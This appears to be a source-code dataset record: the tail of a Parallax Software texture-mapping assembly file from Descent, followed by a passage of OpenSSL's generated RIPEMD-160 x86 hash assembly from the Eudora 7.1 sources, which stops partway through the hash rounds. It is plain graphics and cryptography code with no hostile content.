] | 1 | 2021-03-30T07:34:36.000Z | 2021-03-30T07:34:36.000Z | ;THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX
;SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO
;END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A
;ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS
;IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS
;SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE
;FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE
;CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS
;AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE.
;COPYRIGHT 1993-1998 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED.
align 4
TopOfLoop4:
add ebx, DU1
add ebp, DV1
add ecx, DZ1
; Done with ebx, ebp, ecx until next iteration
push ebx
push ecx
push ebp
push edi
; Find fixed U1
mov eax, ebx
PDIV
mov ebx, eax ; ebx = U1 until pop's
; Find fixed V1
mov eax, ebp
PDIV
mov ebp, eax ; ebp = V1 until pop's
mov ecx, U0 ; ecx = U0 until pop's
mov edi, V0 ; edi = V0 until pop's
; Make ESI = V0:U0 in 6:10,6:10 format
mov eax, ecx
shr eax, 6
mov esi, edi
shl esi, 10
mov si, ax
; Make EDX = DV:DU in 6:10,6:10 format
mov eax, ebx
sub eax, ecx
sar eax, NBITS+6
mov edx, ebp
sub edx, edi
shl edx, 10-NBITS ; EDX = V1-V0/ 4 in 6:10 int:frac
mov dx, ax ; put delta u in low word
; Save the U1 and V1 so we don't have to divide on the next iteration
mov U0, ebx
mov V0, ebp
pop edi ; Restore EDI before using it
; LIGHTING CODE
mov ebx, _fx_l
mov ebp, _fx_dl_dx1
REPT (1 SHL (NBITS-2))
REPT 2
mov eax, esi ; get u,v
shr eax, 26 ; shift out all but int(v)
shld ax,si,6 ; shift in u, shifting up v
add esi, edx ; inc u,v
mov al, es:[eax] ; get pixel from source bitmap
mov ah, bh ; form lighting table lookup value
add ebx, ebp ; update lighting value
mov cl, fs:[eax] ; xlat thru lighting table into dest buffer
; eax = 0
; ebx = l in fixed 24.8 (really 8.8)
; ecx = (dv << 16) | du (in fixed 8.8)
; edx = free
; esi = ptr to source bitmap
; edi = destination ptr
; ebp = dldx (in fixed 24.8) (really 8.8)
; MEM [0..3] = (u<<16) | v (in fixed 8.8)
; Code for 8-bit destination, lighting
mov al, [0] ; get u
mov ah, [2] ; get v
add [0], ecx ; inc u,v
mov al, [esi+eax] ; get source pixel
mov ah, bh ; form lighting lookup value
mov al, FadeTable[eax] ; get lit pixel
mov ah, [edi] ; get prev pixel
mov al, Transparent[eax] ; get transluscent pixel value
mov [edi], al ; write pixel to frame buffer
inc edi ; inc dest
add ebx, ebp ; inc lighting value
; Code for 8-bit destination, no lighting
mov al, [0] ; get u
mov ah, [2] ; get v
add [0], ecx ; inc u,v
mov al, [esi+eax] ; get source pixel
mov [edi], al ; write pixel to frame buffer
inc edi ; inc dest
add ebx, ebp ; inc dl
; old way
mov eax,ebp ; clear for
add ebp,edx ; update v coordinate
shr eax,26 ; shift in v coordinate
shld eax,ebx,6 ; shift in u coordinate while shifting up v coordinate
add ebx,ecx ; update u coordinate
mov al,[esi+eax] ; get pixel from source bitmap
mov [edi],al
inc edi
; Code for 15-bit destination, with fade table in hardware
mov al, ch ; get u,v
mov ah, dh ;
mov al, es:[eax]
mov ah, bh
mov [edi], ax ; write pixel to frame buffer
add edi, 2
add ecx, esi
bswap esi
add edx, esi
bswap esi
add ebx, ebp
; Code for 15-bit destination, with RGB 15 bit in hardware...
mov al, ch ; get u,v
mov ah, dh ;
mov al, es:[eax]
mov ah, bh
mov ax, gs:[eax*2]
mov [edi], ax ; write pixel to frame buffer
add edi, 2
add ecx, esi
bswap esi
add edx, esi
bswap esi
add ebx, ebp
mov eax, esi ; get u,v
shr eax, 26 ; shift out all but int(v)
shld ax,si,6 ; shift in u, shifting up v
add esi, edx ; inc u,v
mov al, es:[eax] ; get pixel from source bitmap
mov ah, bh ; form lighting table lookup value
esi, ebp
esi, ebp,
; Do odd pixel
mov eax, esi ; get u,v
shr eax, 26 ; shift out all but int(v)
shld ax,si,6 ; shift in u, shifting up v
add esi, edx ; inc u,v
mov al, es:[eax] ; get pixel from source bitmap
mov ah, bh ; form lighting table lookup value
add ebx, ebp ; update lighting value
mov ch, fs:[eax] ; xlat thru lighting table into dest buffer
ror ecx, 16 ; move to next double dest pixel position
ENDM
mov [edi],ecx ; Draw 4 pixels to display
add edi,4
ENDM
; LIGHTING CODE
mov _fx_l, ebx
pop ebp
pop ecx
pop ebx
dec _loop_count
jnz TopOfLoop4
mov eax, esi ; get u,v
shr eax, 26 ; shift out all but int(v)
shld ax,si,6 ; shift in u, shifting up v
add esi, edx ; inc u,v
mov al, es:[eax] ; get pixel from source bitmap
cmp al,255
je skipa1
mov ah, bh ; form lighting table lookup value
add ebx, ebp ; update lighting value
mov al, fs:[eax] ; xlat thru lighting table into dest buffer
mov [edi],al
mov eax, esi ; get u,v
shr eax, 26 ; shift out all but int(v)
shld ax,si,6 ; shift in u, shifting up v
add esi, edx ; inc u,v
mov al, es:[eax] ; get pixel from source bitmap
mov ah, bh ; form lighting table lookup value
add ebx, ebp ; update lighting value
mov al, fs:[eax] ; xlat thru lighting table into dest buffer
mov ah, [edi] ; get pixel already drawn here
mov al, gs:[eax] ; lookup in translation table
mov [edi],al ; write pixel
; Code for 8-bit destination, lighting, transluscency
mov dx, [edi]
mov al, [0] ; get u
mov ah, [2] ; get v
add [0], ecx ; inc u,v
mov al, [esi+eax] ; get source pixel
mov ah, bh ; form lighting lookup value
mov al, FadeTable[eax] ; get lit pixel
mov ah, dl ; get prev pixel
add ebx, ebp ; inc lighting value
mov dl, TransTable[eax] ; get transluscent pixel value
mov al, [0] ; get u
mov ah, [2] ; get v
add [0], ecx ; inc u,v
mov al, [esi+eax] ; get source pixel
mov ah, bh ; form lighting lookup value
mov al, FadeTable[eax] ; get lit pixel
mov ah, dh ; get prev pixel
add ebx, ebp ; inc lighting value
mov dh, TransTable[eax] ; get transluscent pixel value
mov [edi], dx ; write 2 pixels to frame buffer
inc edi ; move to next pixel
inc edi ; move to next pixel
; compute v coordinate
mov eax,ebp ; get v
cdq
idiv ecx ; eax = (v/z)
and eax,3fh ; mask with height-1
mov ebx,eax
; compute u coordinate
mov eax,esi ; get u
cdq
idiv ecx ; eax = (u/z)
shl eax,26
shld ebx,eax,6 ; ebx = v*64+u
; read 1 pixel
movzx eax,byte ptr es:[ebx] ; get pixel from source bitmap
; LIGHTING CODE
mov ebx, _fx_l ; get temp copy of lighting value
mov ah, bh ; get lighting level
add ebx, _fx_dl_dx ; update lighting value
mov al, fs:[eax] ; xlat pixel thru lighting tables
mov _fx_l, ebx ; save temp copy of lighting value
mov [edi],al
inc edi
; update deltas
add ebp,_fx_dv_dx
add esi,_fx_du_dx
add ecx,_fx_dz_dx
xchg esi, ebx
dec _loop_count
jns tmap_loop
fix fixdiv(fix a,fix b);
#pragma aux fixdiv parm [eax] [ebx] modify exact [eax edx] = \
"cdq " \
"idiv ebx" \
fix u = u0;
fix v = v0;
fix z = z0;
fix l = l0;
for ( x=x1; x<=x2; x++ ) {
if ( z < zbuffer[x] ) {
zbuffer[x] = z;
color = bitmap[(u/z)&63][(v/z)&63];
if ( color != xparent ) {
color = LightingTable[color][f2i(l)&31];
pixel[x] = color;
}
}
u += du;
v += dv;
z += dz;
l += dl;
}
;================ PERSPECTIVE TEXTURE MAP INNER LOOPS ========================
;
; Usage in loop:
; eax division, pixel value
; ebx source pixel pointer
; ecx z
; edx division
; ebp v
; esi u
; edi destination pixel pointer
rept niters
mov eax, [_fx_z] ; get z-value
cmp zbuffer[edi], eax ; check if closer
jge skip1 ; don't do if z farther away
mov zbuffer[edi], eax ; update z-buffer
mov eax,[_fx_v] ; get v
cdq ; sign extend into edx:eax
idiv [_fx_z] ; eax = (v/z)
and eax,63 ; mask with height-1
mov ebx,eax ; start build bitmap address
mov eax,[_fx_u] ; get u
cdq ; sign extend into edx:eax
idiv [_fx_z] ; eax = (u/z)
shl eax,26 ; continue building bitmap address
shld ebx,eax,6 ; ebx = v*64+u
mov al,byte ptr es:[ebx] ; get pixel from source bitmap
cmp al,255 ; check if it's transparent
je skip1 ; don't write if transparent
mov bx, [_fx_l] ; get lighting value
mov bl, al ; build lighting table lookup index
mov al, lighting[ebx] ; lookup lighting value
mov video[edi],al ; write the pixel
skip1: inc edi ; go to next pixel address
add [_fx_l],[_fx_dl_dx] ; increment lighting
add [_fx_u],[_fx_du_dx] ; increment u
add [_fx_v],[_fx_dv_dx] ; incrememt v
add [_fx_z],[_fx_dz_dx] ; increment z
je _div_0_abort ; would be dividing by 0, so abort
endm
mov eax, F1_0
mov ebx, [z]
mov edx,eax
sar edx,16
shl eax,16
idiv ebx
"imul edx" \
"shrd eax,edx,16";
// assume 8.12 fixed point
rept niters
mov eax, [_fx_z] ; get z-value
cmp zbuffer[edi], eax ; check if closer
jge skip1 ; don't do if z farther away
mov zbuffer[edi], eax ; update z-buffer
mov eax,[_fx_v] ; get v
cdq
idiv eax, [z]
mov ebx,eax ; start build bitmap address
mov eax,[_fx_u] ; get u
imul eax, [z]
shl eax,26 ; continue building bitmap address
shld ebx,eax,6 ; ebx = v*64+u
mov al,byte ptr es:[ebx] ; get pixel from source bitmap
cmp al,255 ; check if it's transparent
je skip1 ; don't write if transparent
mov bx, [_fx_l] ; get lighting value
mov bl, al ; build lighting table lookup index
mov al, lighting[ebx] ; lookup lighting value
mov video[edi],al ; write the pixel
skip1: inc edi ; go to next pixel address
add [_fx_l],[_fx_dl_dx] ; increment lighting
add [_fx_u],[_fx_du_dx] ; increment u
add [_fx_v],[_fx_dv_dx] ; incrememt v
add [_fx_z],[_fx_dz_dx] ; increment z
je _div_0_abort ; would be dividing by 0, so abort
endm
;================ PERSPECTIVE TEXTURE MAP INNER LOOPS ========================
;
; Usage in loop:
; eax division, pixel value
; ebx source pixel pointer
; ecx z
; edx division
; ebp v
; esi u
; edi destination pixel pointer
rept niters
cmp zbuffer[edi], ecx ; check if closer
jge skip1 ; don't do if z farther away
mov zbuffer[edi], ecx ; update z-buffer
mov eax,[_fx_v] ; get v
mov edx,[_fx_u] ; get u
idiv ecx ; eax = (v/z)
and eax,63 ; mask with height-1
mov ebx,eax ; start build bitmap address
mov eax,[_fx_u] ; get u
cdq ; sign extend into edx:eax
idiv ecx ; eax = (u/z)
shl eax,26 ; continue building bitmap address
shld ebx,eax,6 ; ebx = v*64+u
mov al,byte ptr es:[ebx] ; get pixel from source bitmap
cmp al,255 ; check if it's transparent
je skip1 ; don't write if transparent
mov bx, [_fx_l] ; get lighting value
mov bl, al ; build lighting table lookup index
mov al, lighting[ebx] ; lookup lighting value
mov video[edi],al ; write the pixel
skip1: inc edi ; go to next pixel address
add [_fx_l],[_fx_dl_dx] ; increment lighting
add [_fx_u],[_fx_du_dx] ; increment u
add [_fx_v],[_fx_dv_dx] ; incrememt v
add ecx,[_fx_dz_dx] ; increment z
je _div_0_abort ; would be dividing by 0, so abort
endm
| 26.740909 | 79 | 0.620517 |
3b9a5c893c63bd32a40c0b89d7c8fbe92148dbd4 | 34,318 | asm | Assembly | Eudora71/OpenSSL/crypto/ripemd/asm/rm_win32.asm | dusong7/eudora-win | 850a6619e6b0d5abc770bca8eb5f3b9001b7ccd2 | [
"BSD-3-Clause-Clear"
] | 10 | 2018-05-23T10:43:48.000Z | 2021-12-02T17:59:48.000Z | Eudora71/OpenSSL/crypto/ripemd/asm/rm_win32.asm | ivanagui2/hermesmail-code | 34387722d5364163c71b577fc508b567de56c5f6 | [
"BSD-3-Clause-Clear"
] | 1 | 2019-03-19T03:56:36.000Z | 2021-05-26T18:36:03.000Z | Eudora71/OpenSSL/crypto/ripemd/asm/rm_win32.asm | ivanagui2/hermesmail-code | 34387722d5364163c71b577fc508b567de56c5f6 | [
"BSD-3-Clause-Clear"
] | 11 | 2018-05-23T10:43:53.000Z | 2021-12-27T15:42:58.000Z | ; Don't even think of reading this code
; It was automatically generated by rmd-586.pl
; Which is a perl program used to generate the x86 assember for
; any of elf, a.out, BSDI, Win32, gaswin (for GNU as on Win32) or Solaris
; eric <eay@cryptsoft.com>
;
TITLE rmd-586.asm
.386
.model FLAT
_TEXT SEGMENT
PUBLIC _ripemd160_block_asm_host_order
_ripemd160_block_asm_host_order PROC NEAR
mov edx, DWORD PTR 4[esp]
mov eax, DWORD PTR 8[esp]
push esi
mov ecx, DWORD PTR [edx]
push edi
mov esi, DWORD PTR 4[edx]
push ebp
mov edi, DWORD PTR 8[edx]
push ebx
sub esp, 108
$L000start:
;
mov ebx, DWORD PTR [eax]
mov ebp, DWORD PTR 4[eax]
mov DWORD PTR [esp],ebx
mov DWORD PTR 4[esp],ebp
mov ebx, DWORD PTR 8[eax]
mov ebp, DWORD PTR 12[eax]
mov DWORD PTR 8[esp],ebx
mov DWORD PTR 12[esp],ebp
mov ebx, DWORD PTR 16[eax]
mov ebp, DWORD PTR 20[eax]
mov DWORD PTR 16[esp],ebx
mov DWORD PTR 20[esp],ebp
mov ebx, DWORD PTR 24[eax]
mov ebp, DWORD PTR 28[eax]
mov DWORD PTR 24[esp],ebx
mov DWORD PTR 28[esp],ebp
mov ebx, DWORD PTR 32[eax]
mov ebp, DWORD PTR 36[eax]
mov DWORD PTR 32[esp],ebx
mov DWORD PTR 36[esp],ebp
mov ebx, DWORD PTR 40[eax]
mov ebp, DWORD PTR 44[eax]
mov DWORD PTR 40[esp],ebx
mov DWORD PTR 44[esp],ebp
mov ebx, DWORD PTR 48[eax]
mov ebp, DWORD PTR 52[eax]
mov DWORD PTR 48[esp],ebx
mov DWORD PTR 52[esp],ebp
mov ebx, DWORD PTR 56[eax]
mov ebp, DWORD PTR 60[eax]
mov DWORD PTR 56[esp],ebx
mov DWORD PTR 60[esp],ebp
mov eax, edi
mov ebx, DWORD PTR 12[edx]
mov ebp, DWORD PTR 16[edx]
; 0
xor eax, ebx
mov edx, DWORD PTR [esp]
xor eax, esi
add ecx, edx
rol edi, 10
add ecx, eax
mov eax, esi
rol ecx, 11
add ecx, ebp
; 1
xor eax, edi
mov edx, DWORD PTR 4[esp]
xor eax, ecx
add ebp, eax
mov eax, ecx
rol esi, 10
add ebp, edx
xor eax, esi
rol ebp, 14
add ebp, ebx
; 2
mov edx, DWORD PTR 8[esp]
xor eax, ebp
add ebx, edx
rol ecx, 10
add ebx, eax
mov eax, ebp
rol ebx, 15
add ebx, edi
; 3
xor eax, ecx
mov edx, DWORD PTR 12[esp]
xor eax, ebx
add edi, eax
mov eax, ebx
rol ebp, 10
add edi, edx
xor eax, ebp
rol edi, 12
add edi, esi
; 4
mov edx, DWORD PTR 16[esp]
xor eax, edi
add esi, edx
rol ebx, 10
add esi, eax
mov eax, edi
rol esi, 5
add esi, ecx
; 5
xor eax, ebx
mov edx, DWORD PTR 20[esp]
xor eax, esi
add ecx, eax
mov eax, esi
rol edi, 10
add ecx, edx
xor eax, edi
rol ecx, 8
add ecx, ebp
; 6
mov edx, DWORD PTR 24[esp]
xor eax, ecx
add ebp, edx
rol esi, 10
add ebp, eax
mov eax, ecx
rol ebp, 7
add ebp, ebx
; 7
xor eax, esi
mov edx, DWORD PTR 28[esp]
xor eax, ebp
add ebx, eax
mov eax, ebp
rol ecx, 10
add ebx, edx
xor eax, ecx
rol ebx, 9
add ebx, edi
; 8
mov edx, DWORD PTR 32[esp]
xor eax, ebx
add edi, edx
rol ebp, 10
add edi, eax
mov eax, ebx
rol edi, 11
add edi, esi
; 9
xor eax, ebp
mov edx, DWORD PTR 36[esp]
xor eax, edi
add esi, eax
mov eax, edi
rol ebx, 10
add esi, edx
xor eax, ebx
rol esi, 13
add esi, ecx
; 10
mov edx, DWORD PTR 40[esp]
xor eax, esi
add ecx, edx
rol edi, 10
add ecx, eax
mov eax, esi
rol ecx, 14
add ecx, ebp
; 11
xor eax, edi
mov edx, DWORD PTR 44[esp]
xor eax, ecx
add ebp, eax
mov eax, ecx
rol esi, 10
add ebp, edx
xor eax, esi
rol ebp, 15
add ebp, ebx
; 12
mov edx, DWORD PTR 48[esp]
xor eax, ebp
add ebx, edx
rol ecx, 10
add ebx, eax
mov eax, ebp
rol ebx, 6
add ebx, edi
; 13
xor eax, ecx
mov edx, DWORD PTR 52[esp]
xor eax, ebx
add edi, eax
mov eax, ebx
rol ebp, 10
add edi, edx
xor eax, ebp
rol edi, 7
add edi, esi
; 14
mov edx, DWORD PTR 56[esp]
xor eax, edi
add esi, edx
rol ebx, 10
add esi, eax
mov eax, edi
rol esi, 9
add esi, ecx
; 15
xor eax, ebx
mov edx, DWORD PTR 60[esp]
xor eax, esi
add ecx, eax
mov eax, -1
rol edi, 10
add ecx, edx
mov edx, DWORD PTR 28[esp]
rol ecx, 8
add ecx, ebp
; 16
add ebp, edx
mov edx, esi
sub eax, ecx
and edx, ecx
and eax, edi
or edx, eax
mov eax, DWORD PTR 16[esp]
rol esi, 10
lea ebp, DWORD PTR 1518500249[edx*1+ebp]
mov edx, -1
rol ebp, 7
add ebp, ebx
; 17
add ebx, eax
mov eax, ecx
sub edx, ebp
and eax, ebp
and edx, esi
or eax, edx
mov edx, DWORD PTR 52[esp]
rol ecx, 10
lea ebx, DWORD PTR 1518500249[eax*1+ebx]
mov eax, -1
rol ebx, 6
add ebx, edi
; 18
add edi, edx
mov edx, ebp
sub eax, ebx
and edx, ebx
and eax, ecx
or edx, eax
mov eax, DWORD PTR 4[esp]
rol ebp, 10
lea edi, DWORD PTR 1518500249[edx*1+edi]
mov edx, -1
rol edi, 8
add edi, esi
; 19
add esi, eax
mov eax, ebx
sub edx, edi
and eax, edi
and edx, ebp
or eax, edx
mov edx, DWORD PTR 40[esp]
rol ebx, 10
lea esi, DWORD PTR 1518500249[eax*1+esi]
mov eax, -1
rol esi, 13
add esi, ecx
; 20
add ecx, edx
mov edx, edi
sub eax, esi
and edx, esi
and eax, ebx
or edx, eax
mov eax, DWORD PTR 24[esp]
rol edi, 10
lea ecx, DWORD PTR 1518500249[edx*1+ecx]
mov edx, -1
rol ecx, 11
add ecx, ebp
; 21
add ebp, eax
mov eax, esi
sub edx, ecx
and eax, ecx
and edx, edi
or eax, edx
mov edx, DWORD PTR 60[esp]
rol esi, 10
lea ebp, DWORD PTR 1518500249[eax*1+ebp]
mov eax, -1
rol ebp, 9
add ebp, ebx
; 22
add ebx, edx
mov edx, ecx
sub eax, ebp
and edx, ebp
and eax, esi
or edx, eax
mov eax, DWORD PTR 12[esp]
rol ecx, 10
lea ebx, DWORD PTR 1518500249[edx*1+ebx]
mov edx, -1
rol ebx, 7
add ebx, edi
; 23
add edi, eax
mov eax, ebp
sub edx, ebx
and eax, ebx
and edx, ecx
or eax, edx
mov edx, DWORD PTR 48[esp]
rol ebp, 10
lea edi, DWORD PTR 1518500249[eax*1+edi]
mov eax, -1
rol edi, 15
add edi, esi
; 24
add esi, edx
mov edx, ebx
sub eax, edi
and edx, edi
and eax, ebp
or edx, eax
mov eax, DWORD PTR [esp]
rol ebx, 10
lea esi, DWORD PTR 1518500249[edx*1+esi]
mov edx, -1
rol esi, 7
add esi, ecx
; 25
add ecx, eax
mov eax, edi
sub edx, esi
and eax, esi
and edx, ebx
or eax, edx
mov edx, DWORD PTR 36[esp]
rol edi, 10
lea ecx, DWORD PTR 1518500249[eax*1+ecx]
mov eax, -1
rol ecx, 12
add ecx, ebp
; 26
add ebp, edx
mov edx, esi
sub eax, ecx
and edx, ecx
and eax, edi
or edx, eax
mov eax, DWORD PTR 20[esp]
rol esi, 10
lea ebp, DWORD PTR 1518500249[edx*1+ebp]
mov edx, -1
rol ebp, 15
add ebp, ebx
; 27
add ebx, eax
mov eax, ecx
sub edx, ebp
and eax, ebp
and edx, esi
or eax, edx
mov edx, DWORD PTR 8[esp]
rol ecx, 10
lea ebx, DWORD PTR 1518500249[eax*1+ebx]
mov eax, -1
rol ebx, 9
add ebx, edi
; 28
add edi, edx
mov edx, ebp
sub eax, ebx
and edx, ebx
and eax, ecx
or edx, eax
mov eax, DWORD PTR 56[esp]
rol ebp, 10
lea edi, DWORD PTR 1518500249[edx*1+edi]
mov edx, -1
rol edi, 11
add edi, esi
; 29
add esi, eax
mov eax, ebx
sub edx, edi
and eax, edi
and edx, ebp
or eax, edx
mov edx, DWORD PTR 44[esp]
rol ebx, 10
lea esi, DWORD PTR 1518500249[eax*1+esi]
mov eax, -1
rol esi, 7
add esi, ecx
; 30
add ecx, edx
mov edx, edi
sub eax, esi
and edx, esi
and eax, ebx
or edx, eax
mov eax, DWORD PTR 32[esp]
rol edi, 10
lea ecx, DWORD PTR 1518500249[edx*1+ecx]
mov edx, -1
rol ecx, 13
add ecx, ebp
; 31
add ebp, eax
mov eax, esi
sub edx, ecx
and eax, ecx
and edx, edi
or eax, edx
mov edx, -1
rol esi, 10
lea ebp, DWORD PTR 1518500249[eax*1+ebp]
sub edx, ecx
rol ebp, 12
add ebp, ebx
; 32
mov eax, DWORD PTR 12[esp]
or edx, ebp
add ebx, eax
xor edx, esi
mov eax, -1
rol ecx, 10
lea ebx, DWORD PTR 1859775393[edx*1+ebx]
sub eax, ebp
rol ebx, 11
add ebx, edi
; 33
mov edx, DWORD PTR 40[esp]
or eax, ebx
add edi, edx
xor eax, ecx
mov edx, -1
rol ebp, 10
lea edi, DWORD PTR 1859775393[eax*1+edi]
sub edx, ebx
rol edi, 13
add edi, esi
; 34
mov eax, DWORD PTR 56[esp]
or edx, edi
add esi, eax
xor edx, ebp
mov eax, -1
rol ebx, 10
lea esi, DWORD PTR 1859775393[edx*1+esi]
sub eax, edi
rol esi, 6
add esi, ecx
; 35
mov edx, DWORD PTR 16[esp]
or eax, esi
add ecx, edx
xor eax, ebx
mov edx, -1
rol edi, 10
lea ecx, DWORD PTR 1859775393[eax*1+ecx]
sub edx, esi
rol ecx, 7
add ecx, ebp
; 36
mov eax, DWORD PTR 36[esp]
or edx, ecx
add ebp, eax
xor edx, edi
mov eax, -1
rol esi, 10
lea ebp, DWORD PTR 1859775393[edx*1+ebp]
sub eax, ecx
rol ebp, 14
add ebp, ebx
; 37
mov edx, DWORD PTR 60[esp]
or eax, ebp
add ebx, edx
xor eax, esi
mov edx, -1
rol ecx, 10
lea ebx, DWORD PTR 1859775393[eax*1+ebx]
sub edx, ebp
rol ebx, 9
add ebx, edi
; 38
mov eax, DWORD PTR 32[esp]
or edx, ebx
add edi, eax
xor edx, ecx
mov eax, -1
rol ebp, 10
lea edi, DWORD PTR 1859775393[edx*1+edi]
sub eax, ebx
rol edi, 13
add edi, esi
; 39
mov edx, DWORD PTR 4[esp]
or eax, edi
add esi, edx
xor eax, ebp
mov edx, -1
rol ebx, 10
lea esi, DWORD PTR 1859775393[eax*1+esi]
sub edx, edi
rol esi, 15
add esi, ecx
; 40
mov eax, DWORD PTR 8[esp]
or edx, esi
add ecx, eax
xor edx, ebx
mov eax, -1
rol edi, 10
lea ecx, DWORD PTR 1859775393[edx*1+ecx]
sub eax, esi
rol ecx, 14
add ecx, ebp
; 41
mov edx, DWORD PTR 28[esp]
or eax, ecx
add ebp, edx
xor eax, edi
mov edx, -1
rol esi, 10
lea ebp, DWORD PTR 1859775393[eax*1+ebp]
sub edx, ecx
rol ebp, 8
add ebp, ebx
; 42
mov eax, DWORD PTR [esp]
or edx, ebp
add ebx, eax
xor edx, esi
mov eax, -1
rol ecx, 10
lea ebx, DWORD PTR 1859775393[edx*1+ebx]
sub eax, ebp
rol ebx, 13
add ebx, edi
; 43
mov edx, DWORD PTR 24[esp]
or eax, ebx
add edi, edx
xor eax, ecx
mov edx, -1
rol ebp, 10
lea edi, DWORD PTR 1859775393[eax*1+edi]
sub edx, ebx
rol edi, 6
add edi, esi
; 44
mov eax, DWORD PTR 52[esp]
or edx, edi
add esi, eax
xor edx, ebp
mov eax, -1
rol ebx, 10
lea esi, DWORD PTR 1859775393[edx*1+esi]
sub eax, edi
rol esi, 5
add esi, ecx
; 45
mov edx, DWORD PTR 44[esp]
or eax, esi
add ecx, edx
xor eax, ebx
mov edx, -1
rol edi, 10
lea ecx, DWORD PTR 1859775393[eax*1+ecx]
sub edx, esi
rol ecx, 12
add ecx, ebp
; 46
mov eax, DWORD PTR 20[esp]
or edx, ecx
add ebp, eax
xor edx, edi
mov eax, -1
rol esi, 10
lea ebp, DWORD PTR 1859775393[edx*1+ebp]
sub eax, ecx
rol ebp, 7
add ebp, ebx
; 47
mov edx, DWORD PTR 48[esp]
or eax, ebp
add ebx, edx
xor eax, esi
mov edx, -1
rol ecx, 10
lea ebx, DWORD PTR 1859775393[eax*1+ebx]
mov eax, ecx
rol ebx, 5
add ebx, edi
; 48
sub edx, ecx
and eax, ebx
and edx, ebp
or edx, eax
mov eax, DWORD PTR 4[esp]
rol ebp, 10
lea edi, DWORD PTR 2400959708[edx+edi]
mov edx, -1
add edi, eax
mov eax, ebp
rol edi, 11
add edi, esi
; 49
sub edx, ebp
and eax, edi
and edx, ebx
or edx, eax
mov eax, DWORD PTR 36[esp]
rol ebx, 10
lea esi, DWORD PTR 2400959708[edx+esi]
mov edx, -1
add esi, eax
mov eax, ebx
rol esi, 12
add esi, ecx
; 50
sub edx, ebx
and eax, esi
and edx, edi
or edx, eax
mov eax, DWORD PTR 44[esp]
rol edi, 10
lea ecx, DWORD PTR 2400959708[edx+ecx]
mov edx, -1
add ecx, eax
mov eax, edi
rol ecx, 14
add ecx, ebp
; 51
sub edx, edi
and eax, ecx
and edx, esi
or edx, eax
mov eax, DWORD PTR 40[esp]
rol esi, 10
lea ebp, DWORD PTR 2400959708[edx+ebp]
mov edx, -1
add ebp, eax
mov eax, esi
rol ebp, 15
add ebp, ebx
; 52
sub edx, esi
and eax, ebp
and edx, ecx
or edx, eax
mov eax, DWORD PTR [esp]
rol ecx, 10
lea ebx, DWORD PTR 2400959708[edx+ebx]
mov edx, -1
add ebx, eax
mov eax, ecx
rol ebx, 14
add ebx, edi
; 53
sub edx, ecx
and eax, ebx
and edx, ebp
or edx, eax
mov eax, DWORD PTR 32[esp]
rol ebp, 10
lea edi, DWORD PTR 2400959708[edx+edi]
mov edx, -1
add edi, eax
mov eax, ebp
rol edi, 15
add edi, esi
; 54
sub edx, ebp
and eax, edi
and edx, ebx
or edx, eax
mov eax, DWORD PTR 48[esp]
rol ebx, 10
lea esi, DWORD PTR 2400959708[edx+esi]
mov edx, -1
add esi, eax
mov eax, ebx
rol esi, 9
add esi, ecx
; 55
sub edx, ebx
and eax, esi
and edx, edi
or edx, eax
mov eax, DWORD PTR 16[esp]
rol edi, 10
lea ecx, DWORD PTR 2400959708[edx+ecx]
mov edx, -1
add ecx, eax
mov eax, edi
rol ecx, 8
add ecx, ebp
; 56
sub edx, edi
and eax, ecx
and edx, esi
or edx, eax
mov eax, DWORD PTR 52[esp]
rol esi, 10
lea ebp, DWORD PTR 2400959708[edx+ebp]
mov edx, -1
add ebp, eax
mov eax, esi
rol ebp, 9
add ebp, ebx
; 57
sub edx, esi
and eax, ebp
and edx, ecx
or edx, eax
mov eax, DWORD PTR 12[esp]
rol ecx, 10
lea ebx, DWORD PTR 2400959708[edx+ebx]
mov edx, -1
add ebx, eax
mov eax, ecx
rol ebx, 14
add ebx, edi
; 58
sub edx, ecx
and eax, ebx
and edx, ebp
or edx, eax
mov eax, DWORD PTR 28[esp]
rol ebp, 10
lea edi, DWORD PTR 2400959708[edx+edi]
mov edx, -1
add edi, eax
mov eax, ebp
rol edi, 5
add edi, esi
; 59
sub edx, ebp
and eax, edi
and edx, ebx
or edx, eax
mov eax, DWORD PTR 60[esp]
rol ebx, 10
lea esi, DWORD PTR 2400959708[edx+esi]
mov edx, -1
add esi, eax
mov eax, ebx
rol esi, 6
add esi, ecx
; 60
sub edx, ebx
and eax, esi
and edx, edi
or edx, eax
mov eax, DWORD PTR 56[esp]
rol edi, 10
lea ecx, DWORD PTR 2400959708[edx+ecx]
mov edx, -1
add ecx, eax
mov eax, edi
rol ecx, 8
add ecx, ebp
; 61
sub edx, edi
and eax, ecx
and edx, esi
or edx, eax
mov eax, DWORD PTR 20[esp]
rol esi, 10
lea ebp, DWORD PTR 2400959708[edx+ebp]
mov edx, -1
add ebp, eax
mov eax, esi
rol ebp, 6
add ebp, ebx
; 62
sub edx, esi
and eax, ebp
and edx, ecx
or edx, eax
mov eax, DWORD PTR 24[esp]
rol ecx, 10
lea ebx, DWORD PTR 2400959708[edx+ebx]
mov edx, -1
add ebx, eax
mov eax, ecx
rol ebx, 5
add ebx, edi
; 63
sub edx, ecx
and eax, ebx
and edx, ebp
or edx, eax
mov eax, DWORD PTR 8[esp]
rol ebp, 10
lea edi, DWORD PTR 2400959708[edx+edi]
mov edx, -1
add edi, eax
sub edx, ebp
rol edi, 12
add edi, esi
; 64
mov eax, DWORD PTR 16[esp]
or edx, ebx
add esi, eax
xor edx, edi
mov eax, -1
rol ebx, 10
lea esi, DWORD PTR 2840853838[edx*1+esi]
sub eax, ebx
rol esi, 9
add esi, ecx
; 65
mov edx, DWORD PTR [esp]
or eax, edi
add ecx, edx
xor eax, esi
mov edx, -1
rol edi, 10
lea ecx, DWORD PTR 2840853838[eax*1+ecx]
sub edx, edi
rol ecx, 15
add ecx, ebp
; 66
mov eax, DWORD PTR 20[esp]
or edx, esi
add ebp, eax
xor edx, ecx
